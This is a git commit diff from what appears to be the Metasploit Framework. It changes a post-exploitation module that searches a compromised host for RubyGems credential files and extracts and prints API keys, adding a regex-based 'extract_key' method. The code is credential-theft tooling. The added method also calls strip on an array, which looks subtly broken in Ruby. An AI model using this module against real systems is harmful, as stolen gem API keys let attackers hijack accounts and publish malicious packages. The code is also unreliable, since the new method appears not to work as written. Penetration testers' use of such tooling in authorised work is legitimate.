Land #4648, YAML parsing fix

Prefer regex. For reasons...
bug/bundler_fix
William Vu 2015-01-27 10:39:03 -06:00
commit bf39a7a933
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 13 additions and 1 deletions

View File

@ -40,13 +40,25 @@ class Metasploit4 < Msf::Post
download_key(paths) download_key(paths)
end end
# Ruby gem credentials are pretty standard and can come
# in a few flavors, but the most common are straight yaml
# and json, both of which are colon delimited. I suppose
# you could concievably have more than one, but that'd be
# manually editing, and the first one is probably the best
# one anyway.
def extract_key(path)
data = read_file(path)
keys = data.split(":").strip.select {|k| k =~ /[0-9a-f]{32}/ }
keys.first
end
def download_key(paths) def download_key(paths)
print_status("Looting #{paths.count} files") print_status("Looting #{paths.count} files")
paths.each do |path| paths.each do |path|
path.chomp! path.chomp!
next if ['.', '..'].include?(path) next if ['.', '..'].include?(path)
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key] rubygems_api_key = extract_key(path)
next unless rubygems_api_key next unless rubygems_api_key
print_good("Found a RubyGems API key: #{rubygems_api_key}") print_good("Found a RubyGems API key: #{rubygems_api_key}")